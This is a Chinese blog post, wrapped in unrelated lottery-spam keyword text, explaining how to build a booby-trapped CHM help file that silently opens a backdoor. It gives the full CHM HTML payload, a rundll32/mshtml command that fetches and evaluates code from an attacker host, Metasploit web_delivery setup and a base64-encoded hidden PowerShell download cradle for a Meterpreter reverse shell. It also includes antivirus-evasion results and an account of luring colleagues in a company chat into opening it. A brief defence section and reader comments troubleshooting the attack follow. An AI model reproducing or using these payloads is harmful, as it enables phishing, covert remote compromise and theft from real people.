福彩3d出号走势图彩乐乐
3D任5选2组合遗漏分析 福彩3d跨度走势图带连线图 3d和尾走势图带连线 福彩3d和值走势图500期 3d和尾走势图大全 福彩3d大小奇偶走势图500期 今天3d试机号分析 福彩3d组三走势图带连线图 彩票3d试机号分析 福彩3d和值走势图带连线易彩网 福彩3d出号走势图彩宝贝 彩吧助手福彩3d出号走势图 福彩3d和值走势图带线 3d试机号分析17500 南方福彩3d跨度走势图带连线
高級組合技打造“完美” 捆綁后門
in 滲透案例奇技淫巧 with 24 comments

高級組合技打造“完美” 捆綁后門

in 滲透案例奇技淫巧 with 24 comments

back-door.jpg

0x00 簡介

之前寫過一篇關于客戶端釣魚的文章:《使用powershell Client進行有效釣魚》中,在使用各個Client進行測試的過程中,個人發現CHM文件是最好用的一個,但是其缺點就是會彈黑框,這樣就會讓被攻擊者察覺。那么怎么讓他不彈黑框呢?那就是本文要介紹的內容啦~

0x01 CHM 簡介

在介紹怎么使用CHM來作為后門之前,首先要知道CMH是什么東西。
CHM(Compiled Help Manual)即“已編譯的幫助文件”。它是微軟新一代的幫助文件格式,利用HTML作源文,把幫助內容以類似數據庫的形式編譯儲存。CHM支持Javas cript、VBs cript、ActiveX、Java Applet、Flash、常見圖形文件(GIF、JPEG、PNG)、音頻視頻文件(MID、WAV、AVI)等等,并可以通過URL與Internet聯系在一起。因為使用方便,形式多樣也被采用作為電子書的格式。

0x02 CHM 制作

CHM的制作方法很多。有多款工具可以使用,這里就不在做詳細的介紹了。本次測試使用了EasyCHM來制作CHM文件,使用起來非常簡單。
新建如下目錄,文件內容隨意:

1459265271411.png

打開EasyCHM,新建->瀏覽。選擇該目錄。默認文件類型:

1459265391008.png

點擊確認,即可看到預覽的CHM文件:

1459265747975.png

選擇編譯,即可編譯成CHM文件。

0x03 CHM Execute Command

14年的時候@ithurricanept 在twitter上發了一個demo,通過CHM運行計算器:
1459267591665.png

利用代碼如下:

<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>
command exec 
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
 <PARAM name="Button" value="Bitmap::shortcut">
 <PARAM name="Item1" value=',calc.exe'>
 <PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body></html>

將以上代碼寫入html,置于工程目錄進行編譯,生成CHM文件,運行此文件,彈出計算器:

1459266958384.png

0x04 去除彈框

有測試過nishang Out-CHM 的同學會發現,運行生成的CHM文件的時候會看到明顯的彈框。就像這樣:

pop.gif

某個晚上突然腦洞了一下,想到了一個好的方式來讓他不顯示彈框,即結合使用JavaScript Backdoor。經過測試,成功實現在不彈框的情況下獲取meterpreter會話,此次測試使用一個我修改過的python版 JSRat.ps1 ,地址為:https://github.com/Ridter/MyJSRat。使用方式詳見 readme。

以下為完整的測試過程:

1、結合CHM + JSBackdoor

使用交互模式的JSRat server:

python MyJSRat.py -i 192.168.1.101 -p 8080

1459269590441.png

訪問 http://192.168.1.101:8080/wtf 獲取攻擊代碼如下:

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.1.101:8080/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}

經過多次測試,成功將以上命令寫入chm,其Html代碼為:

<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>
This is a demo ! <br>
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
 <PARAM name="Button" value="Bitmap::shortcut">
 <PARAM name="Item1" value=',rundll32.exe,javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.1.101:8080/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}'>
 <PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body></html>

編譯以后運行,可以成功獲取JS交互shell:

1459270092073.png

直接執行cmd /c command 是會有黑框的,可以使用run來避免顯示黑框。執行run以后,輸入 whoami > e:\1.txt 之后通過read 來獲取回顯。

2、獲取meterpreter會話

此次測試獲取meterpreter會話的方式是通過執行powershell命令,直接獲取,當獲取客戶端JS 交互shell之后自動執行powershell命令,獲取meterpreter會話。具體操作如下:
開啟MSF web_delivery:

 ~  msfconsole -Lq
msf > use exploit/multi/script/web_delivery
msf exploit(web_delivery) > set target 2
target => 2
msf exploit(web_delivery) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(web_delivery) > set lhost 192.168.1.101
lhost => 192.168.1.101
msf exploit(web_delivery) > set lport 6666
lport => 6666
msf exploit(web_delivery) > set SRVPORT 8081
SRVPORT => 8081
msf exploit(web_delivery) > set uripath /
uripath => /
msf exploit(web_delivery) > exploit
[*] Exploit running as background job.
msf exploit(web_delivery) >
[*] Started reverse TCP handler on 192.168.1.101:6666
[*] Using URL: http://0.0.0.0:8081/
[*] Local IP: http://192.168.1.101:8081/
[*] Server started.
[*] Run the following command on the target machine:
powershell.exe -nop -w hidden -c $n=new-object net.webclient;$n.proxy=[Net.WebRequest]::GetSystemWebProxy();$n.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $n.downloadstring('http://192.168.1.101:8081/');

裝有powershell的客戶端執行以下命令則可獲取meterpreter會話:

powershell.exe -nop -w hidden -c $n=new-object net.webclient;$n.proxy=[Net.WebRequest]::GetSystemWebProxy();$n.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $n.downloadstring('http://192.168.1.101:8081/');

由于存在特殊字符,我們可以把以上代碼編碼為base64格式,將以下代碼存入power.txt

 $n=new-object net.webclient;
 $n.proxy=[Net.WebRequest]::GetSystemWebProxy();
 $n.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;
 IEX $n.downloadstring('http://192.168.1.101:8081/');

執行以下命令:

cat power.txt | iconv --to-code UTF-16LE |base64

1459271205450.png

最終要執行的powershell命令為:

powershell -ep bypass -enc IAAkAG4APQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAA7AAoAIAAkAG4ALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsACgAgACQAbgAuAFAAcgBvAHgAeQAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA9AFsATgBlAHQALgBDAHIAZQBkAGUAbgB0AGkAYQBsAEMAYQBjAGgAZQBdADoAOgBEAGUAZgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA7AAoAIABJAEUAWAAgACQAbgAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAuADEAMAAxADoAOAAwADgAMQAvACcAKQA7AA==

使用執行命令模式直接獲取meterpreter會話:

python MyJSRat.py -i 192.168.1.101 -p 8080 -c "powershell -ep bypass -enc IAAkAG4APQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAA7AAoAIAAkAG4ALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsACgAgACQAbgAuAFAAcgBvAHgAeQAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA9AFsATgBlAHQALgBDAHIAZQBkAGUAbgB0AGkAYQBsAEMAYQBjAGgAZQBdADoAOgBEAGUAZgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA7AAoAIABJAEUAWAAgACQAbgAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAuADEAMAAxADoAOAAwADgAMQAvACcAKQA7AA=="

測試過程中,從運行CHM到獲取meterpreter,客戶端無明顯異常,全程無黑框彈出,獲取到meterpreter會話如下圖:

demo.gif

3、是否被殺?

可能很多人會問,會不會被殺,下面是virscan的查殺結果:
http://r.virscan.org/report/6173ee9c62d29806bb84035a8f1738ba

1459272030683.png

0x05 利用場景

一張圖說明(讓我猜猜你會不會點):

1459296151859.png

注: 隨便找了幾個漏洞利用工具修改了文件名,并不代表原作者分享的工具有問題。

0x06 實際測試

是用上述方式制作chm文件,命名為一個比較有吸引力的名字,比如在公司技術群發了一個名字為"制作免殺后門.chm"的文件,實際測試結果如下圖:

shell.jpg

成功獲取多個人的meterpreter會話。

0x07 防御

目前我還沒查到什么防御的姿勢,知道的小伙伴可以分享一下。最好就是提高個人安全意識,對于這類文件,多注意一下,盡量別亂點,如果非要點,可以放到虛擬機里面。使用procexp.exe可以看到存在后門的chm文件會開啟新的進程:

1459296556503.png

對于碰到這種后門,怎么溯源呢,其實也很簡單,chm是可以反編譯為html的。
使用windows自帶的hh.exe 則可進行反編譯。命令如下:

C:\Users\evi1cg\Desktop>hh -decompile test poc.chm #test 為當前目錄的test文件夾

執行結果如下:

1459313642951.png

這樣就可以看到其源代碼并可以找到攻擊者的監聽服務器了。

0x08 小結

此次測試就是對一些已知的攻擊手法進行結合,結果是讓此捆綁后門更加隱蔽,近乎“完美”,美中不足的是在文件開啟的時候會出現短暫的卡頓。有時候小漏洞結合起來能造成大危害,小手法結合起來也能成大殺器。本著分享的精神將此姿勢介紹,希望小伙伴們能免受其害。

0x09 參考

1.https://twitter.com/ithurricanept/status/534993743196090368
2.https://github.com/samratashok/nishang/blob/master/Client/Out-CHM.ps1
3.http://drops.wooyun.org/tips/11764

Responses
  1. evil。。。

    hta和PowerShell也是大殺器啊,求教我一直不知道如何獲得一個公網IP。。是用服務器做端口轉發還是動態域名解析,大神用的是什么。順便求一下終端的字體。

    Reply
    1. @evil。。。

      hta 一直沒想到好的利用場景,不如chm容易被觸發。我平常是用的vps轉發的。字體是Powerline,在這 https://github.com/powerline/fonts

      Reply
      1. evil。。。
        @Evi1cg

        3q 3q 希望博主繼續更新干貨

        Reply
  2. redcc

    博主用的python版本是?我測試了幾個版本,好像都沒有classes.colors這個模塊?pip install 也找不到這個模塊的說...

    Reply
    1. @redcc

      colors 是jsrat(py版)原作者寫的一個class,你也可以通過git Myjsrat 獲取,放到當前目錄即可調用。

      Reply
      1. redcc
        @Evi1cg

        好的,3Q

        Reply
  3. tom

    請問博主,這個段代碼是不是對ie版本有要求的?
    rundll32.exe,javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.1.101:8080/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
    我跟著博主的過程一步步走,到1、結合CHM + JSBackdoor的時候就不行了,求指教啊

    Reply
    1. @tom

      跟IE版本沒關系啊。你回連地址換了么?關于js backdoor你可以看看這個 http://drops.wooyun.org/tips/11764

      Reply
      1. tom
        @Evi1cg

        直接在cmd里執行那段代碼是能彈回shell的,但是放進html代碼里后,打開生成的chm文件彈不回shell了

        Reply
      2. tom
        @Evi1cg

        大神,能不能加個qq請教下,那個郵箱是我的qq號

        Reply
  4. diazrael

    大神,問下你的python是什么版本的,為什么我總是出現這個錯誤,我的版本是2.7.3:
    >>>
    [ERROR] No Python Readline
    [x] No history support as a result, sorry...

    JSRat ServerNone
    By: Evi1cg
    Traceback (most recent call last):
    File "C:\Users\W.sy\Desktop\MyJSRat-master\MyJSRat.py", line 474, in
    parser = optparse.OptionParser(banner(), version="%prog v0.01")
    File "C:\Users\W.sy\Desktop\MyJSRat-master\MyJSRat.py", line 22, in banner
    print blue("By") + white(": Evi1cg")
    TypeError: unsupported operand type(s) for +: 'NoneType' and 'NoneType'
    >>>

    Reply
    1. @diazrael

      @diazrael裝一個python readline

      Reply
  5. 博主很有研究和分享精神,給32個贊

    Reply
    1. @車大炮

      謝謝

      Reply
  6. 路西法

    博主。前面都實現了。就是最后msf無顯示jsrat也提示命令發送成功 客戶端執行power shell。。msf有顯示。感覺是python MyJSRat.py -i 192.168.1.101 -p 8080 -c "powershell -ep bypass -enc IAAkAG4APQBuAGUAdwAtAG。。。 這段命令不能成功執行。。求解。。

    Reply
    1. @路西法

      enc 后面是powershell的base64編碼,應該你加多了代碼讓代碼沒執行成功吧

      Reply
  7. 小哥

    博主,請問下msf如何監聽多個會話,比如來會話了自動保存到session。 默認exploit之后來一個會話就不監聽了。有啥參數可以設置嗎

    Reply
    1. @小哥

      exploit -j

      Reply
  8. xxoo

    如果系統不裝powershell的話,這個chm就沒效果? 還是通殺的

    Reply
    1. @xxoo

      沒有powershell,可以執行別的命令啊,比如js,vb等等

      Reply
      1. know
        @Evi1cg

        你好,獲取客戶端JS 交互shell之后自動執行powershell命令這里的自動獲取是怎么實現的,方便代碼展示嗎

        Reply
        1. @know

          實在不好意思,一直沒有看到評論,自動執行在MyJSRat.py里面已經寫了,只需要加-c參數即可,具體可以去看py的代碼,代碼有點戳,也很久沒維護了,見諒。

          Reply
  9. [...]http://xjnmi.com/archives/chm_backdoor.html[...]

    Reply
  10. 全班我最胖

    咦,怎么評論不了呢,每次都是超過200個字符

    Reply
福彩3d出号走势图彩乐乐
3D任5选2组合遗漏分析 福彩3d跨度走势图带连线图 3d和尾走势图带连线 福彩3d和值走势图500期 3d和尾走势图大全 福彩3d大小奇偶走势图500期 今天3d试机号分析 福彩3d组三走势图带连线图 彩票3d试机号分析 福彩3d和值走势图带连线易彩网 福彩3d出号走势图彩宝贝 彩吧助手福彩3d出号走势图 福彩3d和值走势图带线 3d试机号分析17500 南方福彩3d跨度走势图带连线
梦幻西游五开无限抓鬼能赚钱吗 天下财经百姓炒股秀 吉林11选历史开奖结果查询 时时彩计划 福建体彩22选5开奖走势图 ipad软件下载好无法安装 淘宝快3群 七星彩杀号算法 湖南快乐十分动物下载 福建快三开奖结果查询今天一